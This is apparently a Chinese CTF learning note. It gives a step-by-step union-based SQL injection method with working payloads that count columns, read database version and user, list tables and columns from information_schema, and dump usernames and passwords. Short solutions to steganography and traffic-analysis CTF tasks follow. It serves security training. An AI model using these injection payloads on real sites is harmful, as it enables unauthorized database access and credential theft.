一.知识点
1.sql语句
1)基本步骤
第一步 分别输入id=1 id=1’ id=1’’ 判断为字符型,还是为整数型
第二步 使用注入语句测试有多少列
'order by 3 --+
第三步 使用注入语句测试出回显位置
id=-1' union select 1,2,3 --+(其中id=-1是为了让前面查询的不存在,从而爆出回显位置)
第四步 使用注入语句爆一下数据库的版本和用户
id=-1' union select 1,version(),user() --+
第五步 查询完数据库接下来就开始查询数据库下面的表名,使用注入语句
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
第六步 字段名查询(利用获得的数据库名和表名查询字段名和值)
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
第七步 查询值
?id=-1' union select 1,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users),3 --+
2)常见函数的作用
万能公式的理解:分别输入1 and 1=1 和 1 and 1=2,其中前者有回显后者无,说明and后面的语句被执行了,存在sql注入漏洞
order by:可以按照指定的列或表达式对结果集排序,order by 1,2,3,其中的1,2并不是列名,而是按照列表的第一列和第二列排序,根据是否回显判断这个表的列数
union select:联合查询注入,union用于合并两个或多个select语句(注:union内的每个select语句必须用于相同数量的列)
判断显示位:-1 union select 1,2 其中id=-1为了让只得到select 1,2的结果,然后判断出2这个位置可以被代替
查询数据库的名字:-1 union select 1,database()
2.misc图片隐写 修改高度
010中,通过修改高度来找到本题的flag
参考资料:https://www.cnblogs.com/Flat-White/p/13515090.html
二.实例
1.流量分析 (Misc)
CTRL+F查找flag 跟踪追踪流 得到本题flag
2.easy_sql (Web)
首先查询到列数为3 其次爆出显示位 获取当前数据库名 子查询 得到了数据表bighacker之后,访问bighacker获取flag
3.隐写术 (Misc)
本题为隐写 通过修改高度 得到本题flag
4.又又又图片 (Misc)
打开发现有一张图片 和一个txt文本,用base100解密,发现密码,于是把图片后缀名改成.zip解压,的确需要密码,又得到一张图片,改后缀为.txt查找flag即可找到